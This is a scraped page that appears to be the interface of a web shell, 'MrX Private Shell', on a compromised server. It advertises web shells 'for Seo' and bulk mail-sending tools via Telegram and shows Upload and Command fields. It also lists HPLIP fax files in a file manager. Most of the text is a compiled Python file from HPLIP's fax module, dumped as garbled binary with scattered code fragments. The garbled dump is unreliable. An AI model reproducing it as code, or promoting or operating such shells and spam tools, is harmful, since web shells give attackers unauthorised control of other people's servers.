__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

���g�L����SSKJr SSKJr SSKrSSKrSSKrSSKrSSKJ	r	J
r
Jr SSKrSSK
r
SSKrSSKrSSKJs Jr SSK7 SSK7 SSK7 SSKJrJrJrJrJr SSKJ
r
 SSK7 SSKrSSKrSSKrSSKrSSK7 SSK r SSK!r!SS	KJrJr SS
KJ"r"J
r
JrJ#r#J$r$J%r% SSK&J'r' SSK r SSK!r!SSKrSSKrSSK(J)r) S
r*Sr+Sr,Sr-Sr.Sr/Sr0Sr1Sr2Sr3"SS\45r5"SS\65r7g)�)�division)�NONEN)�BytesIO�
to_bytes_utf8�
to_unicode)�*)�device�utils�codes�dime�status)r�)r	r
)�PY3rr�to_string_latin�to_string_utf8�	xStringIO)�http_client)�cupsz/cdm/oauth2/v1/tokenz/cdm/faxModem/v1/configurationz�%s %s HTTP/1.1
Content-Type: application/json
User-Agent: hplip
Accept: */*
Cache-Control: no-cache
Host:%s
Connection: keep-alive
Content-Length: %s

z�%s %s HTTP/1.1
Content-Type: application/json
User-Agent: hplip
Accept: */*
Cache-Control: no-cache
Host:%s
Connection: keep-alive
Content-Length: %s
Authorization: Bearer %s

i�������i�i�c��\rSrSrSSS\S4SjrSrSrSSjrSr	SS	jr
SS
jrSrSr
\"\
\5rS
rSr\"\\5rSrSSjrSrg)�CDMFaxDevice�PNFc���[RXUX4U5 SUlSUlSUlXlX lURS:XaURUl	gSUl	g)N��net�	localhost)
�	FaxDevice�__init__�token�send_fax_thread�upload_log_thread�
device_uri�printer_name�bus�host�	http_host)�selfr$r%�callback�fax_type�disable_dbuss      �/usr/share/hplip/fax/cdmfax.pyr �CDMFaxDevice.__init__Rs_��
	���4�'�#�'�	)���
�#���!%���$��(���8�8�u��!�Y�Y�D�N�(�D�N�c�4�URS[:Xagg)Nzwifi-configTF)�mq�WIFI_CONFIG_CDM_AUTH)r)s r-�isAuthRequired�CDMFaxDevice.isAuthRequiredes���7�7�=�!�%9�9��r/c��[R"5nURURUS5 UR5 g![a [
R
S5 N2f=f!UR5 f=f)NrzUnable to read LEDM Channel)�ior�readLEDMAllData�readEWS_LEDM�Error�log�debug�	closeLEDM)r)�responses  r-�__flushThePort�CDMFaxDevice.__flushThePortksa���:�:�<��	�� � ��!2�!2�H�a�@�
�N�N����	5��I�I�3�4�	5��
�N�N��s#�A�A'�$A*�&A'�'A*�*A<c��US:Xa[U5nO[U5nUS:Xa0UR[XURXPR4-5 O%UR[
XURU4-5 US:waURU5 [
5nURURU5 URS5 [R"U5nUR5 UR5nUR5n	X�4$![a( UR!5 ["R%S5 gf=f)NTrzUnable to read EWS_LEDM Channel)�len�
writeEWS_LEDM�REQ_WITH_TOKENr(r!�REQ_NO_TOKENr�readLEDMDatar8�seekr�HTTPResponse�begin�getcode�readr9�
closeEWS_LEDMr:r;)
r)�request_type�url�	data_json�	WithToken�
contentLen�replyr=�respcode�datas
          r-�
__usb_reqeust�CDMFaxDevice.__usb_reqeustws������S��J��Y��J�������~� ,�4�>�>�:�z�z�Z� [�
\�
���|� ,�4�>�>�:�N� O�
P�������y�)����
	9����d�/�/��7��J�J�q�M�"�/�/��6�H��N�N���'�'�)�H��=�=�?�D��>�!���	9���� ��I�I�7�8�	9�s�A5D�/E�Ec�~�0nSUS'XS'X#S'[R"U5nURS[U5upCU[:Xd[
R
SU-5 US4$[R"UR55n[R"[R"U55nUSUlU$)N�password�
grant_type�username�POSTz?Request Failed With Response Code %d, enter correct credentialsr�access_token)�json�dumps�_CDMFaxDevice__do_request�CDM_AUTH_REQ�HTTP_OKr:r;�loads�strip�ast�literal_evalr!)r)�unamerWrSrRs     r-�getCDMToken�CDMFaxDevice.getCDMToken�s�����'��\�� �Z��#�Z���z�z�$����*�*�6�<��F����7�"��I�I�Q�T\�\�
^��R�<���:�:�d�j�j�l�+�D��#�#�D�J�J�t�$4�5�D��n�-�D�J��Or/c��URS:XaURXX45upSXS4$URXX45upSXS4$! [R	S5 g=f)NrzIO Error�i�r)r&�_CDMFaxDevice__network_reqeust�_CDMFaxDevice__usb_reqeustr:r;)r)rLrMrSrOrRs      r-�__do_request�CDMFaxDevice.__do_request�sg��
	"��x�x�5� �!%�!7�!7� �t�"8����~�%�!%�!3�!3� �t�"8����~�%��	"��I�I�j�!��s�&A�A�Ac��SSKnSSKnSSSSS.nURUS'US:XaS	UR-US
'URRURUR
5S9nUS:waURUX#US9 OURUX'S
9 UR5n	U	Rn
U	R5nX�4$! [RS5 g=f)Nrzapplication/json�hplipzno-cachez
keep-alive)zContent-Typez
User-Agentz
Cache-Control�
Connection�HostTz	Bearer %s�
Authorization)�context)�methodrM�body�headers)rtrMrvz!Error while connecting the deviceri)
�http.client�sslr'r!�client�HTTPSConnection�_create_unverified_context�requestr:r;�getresponser
rJ)r)rLrMrSrO�httprx�header�
connectionr=rRs           r-�__network_reqeust�CDMFaxDevice.__network_reqeust�s�����"4�G�#-�\�K������v�����&1�D�J�J�&>�F�?�#�	����4�4��	�	�3�#A�#A�#C�5�E�J��t�|��"�"�,�'*�v�#�G��"�"�,�'*�#�<��)�)�+���?�?���}�}����~���	��I�I�9�:��s�A	C�C�Cc��Sn0n0n[U5US'XCS'[R"U5n[R	U5 URS[USS9upSSnU$! [R	SW5 U$=f)NF�	faxNumber�analogFaxSetup�PATCHT�rOzSetPhoneNum response is )�strr\r]r:r;r^�CDM_FAX_MODEM_CONF)r)�num�rtnrS�
dataFaxNumrRs      r-�setPhoneNum�CDMFaxDevice.setPhoneNum�s��������
�"%�c�(�
�;��!+�
���z�z�$����	�	�$��	<�!�.�.��+�T�T�/�C�N�H��C��
��	<��I�I�0�(�;��
�s�A!�!A<c���[R"URUR5n[RU5 UR
S5RSS5$! g=f)Nrzprinter-fax-modem-numberztel:)�cupsext�getFaxModemAttributesr$r%r:�dbg�get�replace�r)�fax_modem_detailss  r-�getPhoneNum�CDMFaxDevice.getPhoneNum�s`��	� '� =� =�����!2�!2�!4���G�G�%�&�"�%�%�&@�A�J�J�6�SU�V�V��	��s�AA#�#A'c���Sn0n0n[U5US'XCS'[R"U5nURS[USS9upSSnU$! [
R
SW5 U$=f)NF�companyNamer�r�Tr�zsetStationName response is )r�r\r]r^r�r:r;)r)�namer�rS�dataComNamerRs      r-�setStationName�CDMFaxDevice.setStationName�s���������%(��Y��M�"�!,�
���z�z�$���	?�!�.�.��+�T�T�/�C�N�H��C��
��	?��I�I�3�X�>��
�s�A�A'c��[R"URUR5n[RU5 UR
S5$! g=f)Nrzprinter-fax-modem-name)r�r�r$r%r:r�r�r�s  r-�getStationName�CDMFaxDevice.getStationName�sR��	� '� =� =�����!2�!2�!4���G�G�%�&�!�$�$�%=�>�>��	��s�AA�Ac�h�[R"5nSUSUSUSUSUSUS4-ng)	Nz%4d-%02d-%02dT%02d:%02d:%02drr����T)�time�	localtime)r)�t�date_bufs   r-�setDateAndTime�CDMFaxDevice.setDateAndTimesE���N�N���1�
�a�D�!�A�$��!��a��d�A�a�D�!�A�$�50�0��r/c
���UR5(dQ[XRURURXX4UUUU	5UlUR
R
5 gg)NTF)�isSendFaxActive�CDMFaxSendThread�servicer$r%r"�start)
r)�phone_num_list�
fax_file_list�
cover_message�cover_re�
cover_func�preserve_formattingr%�update_queue�event_queues
          r-�	sendFaxes�CDMFaxDevice.sendFaxes
sa���#�#�%�%�#3�D�,�,����Y]�Yj�Yj�4B�4A�Z�4G�4@�4?�$A�D� �
� � �&�&�(��r/)r$r(r%r"r!r#)NF)rrNFrNN)�__name__�
__module__�__qualname__�__firstlineno__�
FAX_TYPE_NONEr r3�_CDMFaxDevice__flushThePortrkrfr^rjr�r��property�	phone_numr�r��station_namer�r��__static_attributes__�r/r-rrPs{��"&�T��'�#�)�&�	�9�<�&��6� W���k�2�I�� ?��N�N�;�L��SU�KM�15�r/rc�(�\rSrSrSSjrSrSrg)r�i"Nc
���[RXX%UXxX�XKU5 X0lX@lURS:XaSUR
R-UlOSUl[U5 g)Nrz%s:8080zlocalhost:8080)	�
FaxSendThreadr r$r%r&�devr'r(�print)
r)r�r�r$r%r�r�r�r�r�r�r�r�s
             r-r �CDMFaxSendThread.__init__#s_��	���t�'�=�,�
�+�;�	H�%��(���7�7�e��&������6�D�N�-�D�N�
�m�r/c�
�SnSnSnSnSnSnSnSnS	n	S
n
SnSn
S
nSn
SnUR5nUn[n/UlSnUU:wGa�UR5(aUn[RSU-5 UU:Xa1[R
S5 UR[SS45 U
nGOVUU:Xa1[RS5 UR[SS45 U
nGOUU:Xa-[R
S5 URUSS45 U
nGO�UU:Xa1[R
S5 UR[SS45 U
nGO�UU:Xa�[RSS-5 URRUl
[RSUR-5 URRUl[RSUR-5 UnGOUU:Xa+[RSS-5 UR#U5nGO�UU:XaJ[RSS-5 URSSUl['UR(5UlUnGO�UU:Xam[RSS-5 U	n[-U5n[RSUS-5 UR[.SUS45 URSSnGO$UU	:Xa+[RS!S-5 UR3W5nGO�UU
:XaJ[RS"S-5 UR5U5n[R
UR65 GO�UU:Xa+[RS#S-5 UR5U5nGOrUU:XGa�[RS$S-5 UnSnSnSnSnSnSnSnSnS	nS
nS%nS&n Un!U!U:wGa�UR5(a[R
S'5 Un![RS(UU!4-5 U!U:XaS&n Un!UnGOIU!U:Xa[R
S)5 S&n Un!UnGO&U!U:Xa[R
S*5 S&n Un!UnGOU!U:Xa[RS+5 S&n Un!UnO�U!U:Xa[RS,S-5 Un!O�U!U:Xa?WS-n"[8R:"UR<UR>UR6U"5n#Un!O{U!U:XaUn!OrU!U:Xa7[RS.S-5 W#S:�a[@RB"U#5 Un!O5U!U:Xa/[RS/S-5 [RS05 Un!U!U:waGM�O�UU
:Xa�[RS1S-5 URD(aX[RS2UR6-5 [FRH"UR65 [RS35 UnUU:waGM�gg![ a [R
S5 UnGNKf=f![0a Un[RS 5 GMf=f![Ja [RS45 Nf=f)5Nr�
����(�2�<�Fr�Z�d�n�x�zSTATE=(%d, 0, 0)zAborted by user.rzSuccess.zError, aborting.zDevice busy, aborting.z%s State: Get sender infoz********************zSender name=%sz
Sender fax=%szCDM ipp request failed!z!%s State: Pre-render non-G4 filesz%s State: Get total page countz%s State: Next recipientzProcessing for recipient %sr�zLast recipient.z%s State: Render cover pagez%s State: Handle single filez%s State: Merge multiple filesz%s State: Send fax�FzFax send aborted.zSTATE=(%d, %d, 0)zFax send error.zFax device busy.zFax send success.z%s State: Open device�faxz%s State: CancelJobz%s State: Close sessionzClosing session...z%s State: CleanupzRemoving merged file: %s�Removedz	Not found)&�next_recipient_gen�STATUS_ERROR�rendered_file_list�check_for_cancelr:r;�error�write_queue�STATUS_IDLE�STATUS_COMPLETED�STATUS_BUSYr�r��sender_namer��
sender_faxr9�
pre_render�recipient_file_listrAr��job_total_pages�next�STATUS_SENDING_TO_RECIPIENT�
StopIteration�
cover_page�merge_cdm_fax_files�fr��
sendFaxOutJobr$r%r�	cancelJob�remove_temp_file�os�remove�OSError)$r)�
STATE_DONE�
STATE_ABORTED�
STATE_SUCCESS�
STATE_BUSY�STATE_READ_SENDER_INFO�STATE_PRERENDER�STATE_COUNT_PAGES�STATE_NEXT_RECIPIENT�STATE_COVER_PAGE�STATE_SINGLE_FILE�STATE_MERGE_FILES�STATE_SEND_FAX�
STATE_CLEANUP�STATE_ERROR�next_recipient�state�error_state�	num_tries�	recipientr��FAX_SEND_STATE_DONE�FAX_SEND_STATE_ABORT�FAX_SEND_STATE_ERROR�FAX_SEND_STATE_BUSY�FAX_SEND_STATE_SUCCESS�FAX_SEND_STATE_DEVICE_OPEN�FAX_SEND_STATE_BEGINJOB�FAX_SEND_STATE_DOWNLOADPAGES�FAX_SEND_STATE_ENDJOB�FAX_SEND_STATE_CANCELJOB�FAX_SEND_STATE_CLOSE_SESSION�
monitor_state�fax_send_state�faxnum�aJobIDs$                                    r-�run�CDMFaxSendThread.run3s?���
��
��
��
�!#������!�������������
����0�0�2��&��"��"$����	��z�!��$�$�&�&�%���I�I�(�5�0�1��
�%��	�	�,�-�� � �+�q�"�!5�6�%���-�'��	�	�*�%�� � �"2�A�r�!:�;�%���+�%��	�	�,�-�� � �+�q�"�!5�6�%���*�$��	�	�2�3�� � �+�q�"�!5�6�%���0�0��	�	�5��@�A�(�'+�x�x�'<�'<�D�$��I�I�.��1A�1A�A�B�&*�h�h�&8�&8�D�O��I�I�o����?�@�(���/�)��	�	�=��H�I����(9�:���+�+��	�	�:�f�E�F�+/�+B�+B�1�+E��(�'*�4�+=�+=�'>��$�,���.�.��	�	�4��?�@�(��� $�^� 4�I��I�I�;�i��>O�O�P��$�$�&A�1�i�PV�FW�%X�Y�'+�&=�&=�a�&@�#��*�*��	�	�7�6�B�C����	�2���+�+��	�	�8�F�C�D��0�0��@���	�	�$�&�&�!��+�+��	�	�:�f�E�F��0�0��@���.�(��	�	�.�&�9�:�,��&'�#�')�$�')�$�&(�#�)+�&�-/�*�*,�'�/1�,�(*�%�+-�(�/2�,� %�
�!;��$�(;�;��,�,�.�.��	�	�"5�6�)=���I�I�1�^�^�4T�T�U�%�)=�=�(-�
�)A�� -��'�+?�?��	�	�"3�4�(-�
�)E�� +��'�+>�>��	�	�"4�5�(-�
�)E�� *��'�+A�A��	�	�"5�6�(-�
�)E�� 4��'�+E�E��	�	�"9�V�"D�E�)@��'�+B�B�!*�5�!1��!(�!6�!6�t���t�GX�GX�Y]�Y_�Y_�`f�!g��)>��'�+@�@�)?��'�+C�C��	�	�"7�6�"B�C�!�A�:��>�>�&�1�)E��'�+G�G��	�	�";�v�"F�G��	�	�"6�7�)<��k%�(;�;��n�-�'��	�	�-��8�9��(�(��I�I�8�4�6�6�A�B�/��	�	�$�&�&�)��	�	�)�,�#��U�z�!�!��L�(��I�I�7�8�'�E�(��0%��)�E��I�I�/�0����R#�/��	�	�+�.�/�s8�-A:X�
AX6�5Y�!X3�2X3�6!Y�Y�Z�Z)r$r(r�r%r�r�r�r�)rrNFNN)r�r�r�r�r rr�r�r/r-r�r�"s��UZ�04�� C#r/r�)8�
__future__r�picklerr��sysr�r��base.sixextrrr�re�	threading�struct�xml.parsers.expat�parsers�expat�stat�base.g�
base.codes�baser	r
rrr
r�r6�binascii�xml�stringr\rcrrrr�base.sixext.movesr�prntrr_r�rDrC�HTTP_UNAUTHORIZEDr`�
HTTP_ACCEPTED�HTTP_CREATED�
HTTP_ERROR�HTTP_SERVICE_UNAVALIABLErrr�r�r�r/r-�<module>r4s���, ����	��:�:�	��
��!�!����3�3�%���	�����
��b�b�)��
�
���&��5��H��f����

���
���
�
���M�9�M�dT#�}�T#r/

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 129 B 0644
cdmfax.cpython-313.pyc File 18.5 KB 0644
coverpages.cpython-313.pyc File 15.87 KB 0644
fax.cpython-313.pyc File 37.91 KB 0644
faxdevice.cpython-313.pyc File 1.89 KB 0644
ledmfax.cpython-313.pyc File 31.04 KB 0644
ledmsoapfax.cpython-313.pyc File 4.72 KB 0644
marvellfax.cpython-313.pyc File 35.83 KB 0644
pmlfax.cpython-313.pyc File 39.42 KB 0644
soapfax.cpython-313.pyc File 28.43 KB 0644
Filemanager